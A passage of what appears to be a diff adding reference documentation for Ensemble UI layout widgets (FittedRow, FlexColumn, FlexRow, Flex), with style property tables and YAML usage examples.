`outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | +| childrenFits | array | Specify an array of non-zero integers or `auto`, each corresponding to a child. Setting `auto` will let the child determines its own size, while setting a non-zero integer will determine the child's size multiple. The `auto` children will be laid out first and get as much space as they need, then the left-over space will be distributed to the other children based on their size multiples. Otherwise default is 1, After laying out the `auto` children, the left-over space will be divided up based on this multiple. | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + +# FittedRow (deprecated) +This widget is deprecated. Please use [FlexRow](/pages/widgets/flex-row.md) instead. + +Stretch to fit the parent (the parent is required to have a predetermined width), then distribute the horizontal spaces evenly among its children. You can override the space distribution via 'childrenFits' attribute. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------------------------- | +| children | array | List of widgets | +| onTap | action | Call Ensemble's built-in functions or execute code | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| childrenFits | array | Specify array of numbers to set how space is distributed among the children. Use `auto` instead of a number in order to have the child widget determin its own width. | +| mainAxis | string | Control our children's layout vertically. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string or Object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports). | +| gap | integer | The gap between the children in the main direction | +| crossAxis | string | Control the horizontal alignment of the children. `start` `center` `end` `stretch` `baseline` | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | +| childrenFits | array | Specify an array of non-zero integers or `auto`, each corresponding to a child. Setting `auto` will let the child determines its own size, while setting a non-zero integer will determine the child's size multiple. The `auto` children will be laid out first and get as much space as they need, then the left-over space will be distributed to the other children based on their size multiples. Otherwise default is 1, After laying out the `auto` children, the left-over space will be divided up based on this multiple. | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + +# FlexColumn + +FlexColumn is designed to lay out child widgets vertically and proportionally from the available space given by its parent. By default, FlexColumn assigns equal space to each child (`flex=1`), but this can be customized to accommodate various design requirements. + +## Best Practices +- Use FlexColumn when you need a vertical layout with proportional space distribution among the children. +- **Avoid** using FlexColumn in a scrollable parent, such as a ListView or a scrollable Column, without a fixed height, as it will lead to layout issues. FlexColumn and its children need to be constrained to a definite size to properly calculate the flex distribution. +- **Avoid** using FlexColumn in another Column. Column does not constrain its children's dimensions, which FlexColumn requires to calculate the flex distribution. Instead consider giving the FlexColumn a height or use all FlexColumn(s) up the parent chain. + +## Key Concepts + +- **flex**: Determines the space a child widget occupies relative to its siblings. By default, all children in a FlexColumn have a flex value of 1 unless specified. +- **flexMode**: Dictates how a child widget uses its allocated space. It can be set to the below:. + - `expanded`: The child will attempt to fill its allocated space based on the flex factor (this is the default). + - `flexible`: The child occupies only the space it needs, up to its flex factor. + - `none`: The child occupies the space it needs (flex factor is ignored). +- When laying out its children, `FlexColumn` follows this specific order: + - 1. Widgets with flexMode marked as `none` will be laid out first and receive all the space they need. Use caution as this can overflow the parent's available spaces (use 'flexible' is probably sufficient most of the time). + - 2. Widgets marked as `flexible` are laid out next. They're allowed to occupy space up to their flex factor but can be smaller if they don't require all the space. This is useful for widgets that can size themselves according to their content but should be limited to a specific portion of the available space. + - 3. The remaining space is then divided among `expanded` widgets according to their flex factors. These widgets are stretched to fill the allocated space, ensuring that all available space is used. + +## Caveats +- **FlexColumn width**: Note that setting a width for a FlexColumn acts more like a maximum width constraint. The FlexColumn determines its actual width based on the widest child, aligning the other children along the horizontal cross-axis according to this width. This means if this actual width is less than the specified width, the `crossAxis` only affects the alignment of the children within the determined (lesser) width. + If you wish to stretch all the children to the same specified width, add `crossAxis: stretch` in addition to the fixed width. + + +## Usage + +A simple FlexColumn with three child widgets, each taking up equal space (all have flex=1 by default): + +```yaml +FlexColumn: + children: + - Text: + text: Child 1 + - Text: + text: Child 2 + - Text: + text: Child 3 +``` + +Assigning different flex values to children to control their space distribution. In the example below, "Child 2" will occupy twice the space of "Child 1" and "Child 3": + +```yaml +FlexColumn: + children: + - Text: + text: Child 1 # default flex=1 since not specified + - Text: + text: Child 2 + styles: + flex: 2 + - Text: + text: Child 3 + styles: + flex: 1 +``` + +Adjusting FlexMode to control how children occupy their allocated space. In the example below, "Flexible Child" will be laid out with the size it needs, up to a 1/3 of the available space. "Expanded Child" will be laid out next, occupy the rest of the available space, but not smaller than 2/3 of the available space (since Flexible can only grow to 1/3 max, and all available spaces will be used): + +```yaml +FlexColumn: + children: + - Text: + text: Flexible Child + styles: + flexMode: flexible + - Text: + text: Expanded Child + styles: + flex: 2 + flexMode: expanded + +``` + +## Related +- See [FlexRow](#flexrow) for a similar layout in the horizontal direction. +- See [Column](#column-widget) for a more generic and scrollable container for laying out children vertically. + +## Reference +#### Properties + +| Property | Type | Description | +|----------------------------------|----------------------------------------|----------------------------------------------------------| +| children | [Widget[]](widgets/directory) | An array of child widgets to be laid out in the column. | +| onTap | Action | An action that is triggered when the widget is tapped. | +| onTapHaptic | TapHaptic | The type of haptic feedback to be triggered on tap. | +| styles | object | [See properties](#styles) | + +#### Styles + +| Style Property | Type | Description | +|-----------------------------------|------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------| +| mainAxis | string | Alignment of children along the main axis (vertical). Options: `start`, `end`, `center`, `spaceBetween`, `spaceAround`, `spaceEvenly`. | +| crossAxis | string | Alignment of children along the cross axis (horizontal). Options: `start`, `end`, `center`, `stretch`, `baseline`. | +| mainAxisSize | MainAxisSize | How to size the container along the main axis. | +| gap | integer | The gap between child widgets, in logical pixels. | +| fontFamily | string | The font family to use for text within the widget. | +| fontSize | integer | The size of the font to use for text within the widget. | +| width | integer | The width of the widget, in logical pixels. | +| height | integer | The height of the widget, in logical pixels. | +| clipContent | boolean | Whether to clip the widget's content. Useful for preventing overflow. | +| boxShadow | BoxShadow | Shadow properties for the widget. | +| borderRadius | BorderRadius | The radius of the widget's corners. | +| borderColor | [Color](#Color) | The color of the widget's border. | +| borderWidth | integer | The width of the widget's border, in logical pixels. | +| backgroundColor | [Color](#Color) | The widget's background color. | +| backgroundImage | [BackgroundImage](#BackgroundImage) | Overlay an image on the background of this widget | +| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | +| padding | Padding | Padding inside the widget, affecting its child widgets. | +| margin | Margin | Margin outside the widget, affecting its position relative to others. | +| flex | integer | Applicable only inside FlexRow or FlexColumn. Determines the space allocated to this widget relative to its siblings. | +| flexMode | FlexMode | Determines how the widget should occupy the space allocated to it by the `flex` property. | +| visible | boolean | Toggles the widget's visibility. An invisible widget will not occupy UI space unless `visibilityTransitionDuration` is specified. | +| visibilityTransitionDuration | number | The duration in seconds for a widget to animate between visible and invisible states. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this widget relative to its parent. This affects the size of the shadow displayed. | +| elevationShadowColor | [Color](#Color) | The shadow color for the elevation. | +| elevationBorderRadius | BorderRadius | Should match the widget's `borderRadius` if set, to ensure the shadow properly matches the widget's border radius. | +| alignment | Alignment | Aligns this widget relative to its parent. | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the parent Stack. Only applicable for Stack's children. | +| stackPositionBottom | integer | The distance of the child's bottom edge from the bottom of the parent Stack. Only applicable for Stack's children. | +| stackPositionLeft | integer | The distance of the child's left edge from the left of the parent Stack. Only applicable for Stack's children. | +| stackPositionRight | integer | The distance of the child's right edge from the right of the parent Stack. Only applicable for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. Ensures mouse clicks are captured by the widget, useful for overlaying widgets on certain HTML containers. | + +#### Box Styles (Inherited) + +[box](_snippets/box-styles.md ':include') + + +#### Base Styles (Inherited) + +[base](_snippets/base-styles.md ':include') + +--- + +# FlexRow + +FlexRow is designed to lay out child widgets horizontally and proportionally from the available space given by its parent. By default, flexRow assigns equal space to each child (`flex=1`), but this can be customized to accommodate various design requirements. + +## Best Practices +- Use FlexRow when you need a horizontal layout with proportional space distribution among the children. +- **Avoid** using FlexRow in a scrollable parent, such as scrollable Row, without a fixed width, as it will lead to layout issues. FlexRow and its children need to be constrained to a definite size to properly calculate the flex distribution. +- **Avoid** using FlexRow in another Row. Row does not constrain its children's dimensions, which FlexRow requires to calculate the flex distribution. Instead consider giving the FlexRow a width or use all FlexRow(s) up the parent chain. + +## Key Concepts + +- **flex**: Determines the space a child widget occupies relative to its siblings. By default, all children in a FlexRow have a flex value of 1 unless specified. +- **flexMode**: Dictates how a child widget uses its allocated space. It can be set to the below:. + - `expanded`: The child will attempt to fill its allocated space based on the flex factor (this is the default). + - `flexible`: The child occupies only the space it needs, up to its flex factor. + - `none`: The child occupies the space it needs (flex factor is ignored). +- When laying out its children, FlexRow follows this specific order: + - 1. Widgets with flexMode marked as `none` will be laid out first and receive all the space they need. Use caution as this can overflow the parent's available spaces (use 'flexible' is probably sufficient most of the time). + - 2. Widgets marked as `flexible` are laid out next. They're allowed to occupy space up to their flex factor but can be smaller if they don't require all the space. This is useful for widgets that can size themselves according to their content but should be limited to a specific portion of the available space. + - 3. The remaining space is then divided among `expanded` widgets according to their flex factors. These widgets are stretched to fill the allocated space, ensuring that all available space is used. + +## Caveats +- **Row height**: Note that setting a height for a FlexRow acts more like a maximum height constraint. The FlexRow determines its actual height based on the tallest child, aligning the other children along the vertical cross-axis according to this height. This means if this actual height is less than the specified height, the `crossAxis` only affects the alignment of the children within the determined (lesser) height. + If you wish to stretch all the children to the same specified height, add `crossAxis: stretch` in addition to the fixed height. + +## Usage + +A simple FlexRow with three child widgets, each taking up equal space (all have flex=1 by default): + +```yaml +FlexRow: + children: + - Text: + text: Child 1 + - Text: + text: Child 2 + - Text: + text: Child 3 +``` + +Assigning different flex values to children to control their space distribution. In the example below, "Child 2" will occupy twice the space of "Child 1" and "Child 3": + +```yaml +FlexRow: + children: + - Text: + text: Child 1 # default flex=1 since not specified + - Text: + text: Child 2 + styles: + flex: 2 + - Text: + text: Child 3 + styles: + flex: 1 +``` + +Adjusting FlexMode to control how children occupy their allocated space. In the example below, "Flexible Child" will be laid out with the size it needs, up to a 1/3 of the available space. "Expanded Child" will be laid out next, occupy the rest of the available space, but not smaller than 2/3 of the available space (since Flexible can only grow to 1/3 max, and all available spaces will be used): + +```yaml +FlexRow: + children: + - Text: + text: Flexible Child + styles: + flexMode: flexible + - Text: + text: Expanded Child + styles: + flex: 2 + flexMode: expanded + +``` + +## Related +- See [FlexColumn](#flexcolumn) for a similar layout in the vertical direction. +- See [Row](#column-widget) for a more generic and scrollable container for laying out children horizontally. + +## Reference +#### Properties + +| Property | Type | Description | +|----------------------------------|----------------------------------------|----------------------------------------------------------| +| children | [Widget[]](widgets/directory) | An array of child widgets to be laid out in the column. | +| onTap | Action | An action that is triggered when the widget is tapped. | +| onTapHaptic | TapHaptic | The type of haptic feedback to be triggered on tap. | +| styles | object | [See properties](#styles) | + +#### Styles + +| Style Property | Type | Description | +|-----------------------------------|------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------| +| mainAxis | string | Alignment of children along the main axis (vertical). Options: `start`, `end`, `center`, `spaceBetween`, `spaceAround`, `spaceEvenly`. | +| crossAxis | string | Alignment of children along the cross axis (horizontal). Options: `start`, `end`, `center`, `stretch`, `baseline`. | +| mainAxisSize | MainAxisSize | How to size the container along the main axis. | +| gap` | integer | The gap between child widgets, in logical pixels. | +| fontFamily | string | The font family to use for text within the widget. | +| fontSize | integer | The size of the font to use for text within the widget. | +| width | integer | The width of the widget, in logical pixels. | +| height | integer | The height of the widget, in logical pixels. | +| clipContent | boolean | Whether to clip the widget's content. Useful for preventing overflow. | +| boxShadow | BoxShadow | Shadow properties for the widget. | +| borderRadius | BorderRadius | The radius of the widget's corners. | +| borderColor | [Color](#Color) | The color of the widget's border. | +| borderWidth | integer | The width of the widget's border, in logical pixels. | +| backgroundColor | [Color](#Color) | The widget's background color. | +| backgroundImage | [BackgroundImage](#BackgroundImage) | Overlay an image on the background of this widget | +| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | +| padding | Padding | Padding inside the widget, affecting its child widgets. | +| margin | Margin | Margin outside the widget, affecting its position relative to others. | +| flex | integer | Applicable only inside FlexRow or flexRow. Determines the space allocated to this widget relative to its siblings. | +| flexMode | FlexMode | Determines how the widget should occupy the space allocated to it by the `flex` property. | +| visible | boolean | Toggles the widget's visibility. An invisible widget will not occupy UI space unless `visibilityTransitionDuration` is specified. | +| visibilityTransitionDuration | number | The duration in seconds for a widget to animate between visible and invisible states. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this widget relative to its parent. This affects the size of the shadow displayed. | +| elevationShadowColor | [Color](#Color) | The shadow color for the elevation. | +| elevationBorderRadius | BorderRadius | Should match the widget's `borderRadius` if set, to ensure the shadow properly matches the widget's border radius. | +| alignment | Alignment | Aligns this widget relative to its parent. | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the parent Stack. Only applicable for Stack's children. | +| stackPositionBottom | integer | The distance of the child's bottom edge from the bottom of the parent Stack. Only applicable for Stack's children. | +| stackPositionLeft | integer | The distance of the child's left edge from the left of the parent Stack. Only applicable for Stack's children. | +| stackPositionRight | integer | The distance of the child's right edge from the right of the parent Stack. Only applicable for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. Ensures mouse clicks are captured by the widget, useful for overlaying widgets on certain HTML containers. | + +#### Box Styles (Inherited) + +[box](_snippets/box-styles.md ':include') + + +#### Base Styles (Inherited) + +[base](_snippets/base-styles.md ':include') + +--- + +# Flex + +The Flex Widget is a versatile layout option that dynamically switches between Row or Column based on the direction property, offering flexible and responsive designs that adapt to different screen sizes. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) + +## Properties + +| Property | Type | Description | +| :------------ | :----- | :------------------------------- | +| children | array | List of widgets | +| styles | object | [See properties](#styles) | +| item-template | object | [See properties](#item-template) | + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | | The widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| direction | string | Lay out the children vertically or horizontally | +| mainAxis | string | Control how to lay out the children, in the direction specified by the 'direction' attribute. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | +| mainAxisSize | integer | If 'max', stretch the Column to fill its parent's height. Otherwise (min) the column's height will be its children's combined. `min` `max` | +| crossAxis | string | Control the alignment of the children on the secondary axis (depending on the 'direction' attribute). `start` `center` `end` `stretch` `baseline` | +| mainAxisSize | string | If 'max', stretch the Flex to fill its parent's dimension (width or height based on the direction). Otherwise (min) the Flex's dimension will be its children's combined. | +| scrollable | boolean | Set to true so content can scroll vertically or horizontally as needed | +| autoFit | boolean | Explicitly match the width or height to the largest child's size, but only if the parent does not already assign a width or height. This attribute is useful for sizing children who don't have a width or height (e.g Divider) | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| enableSplashFeedback | boolean | Toggles splash effect 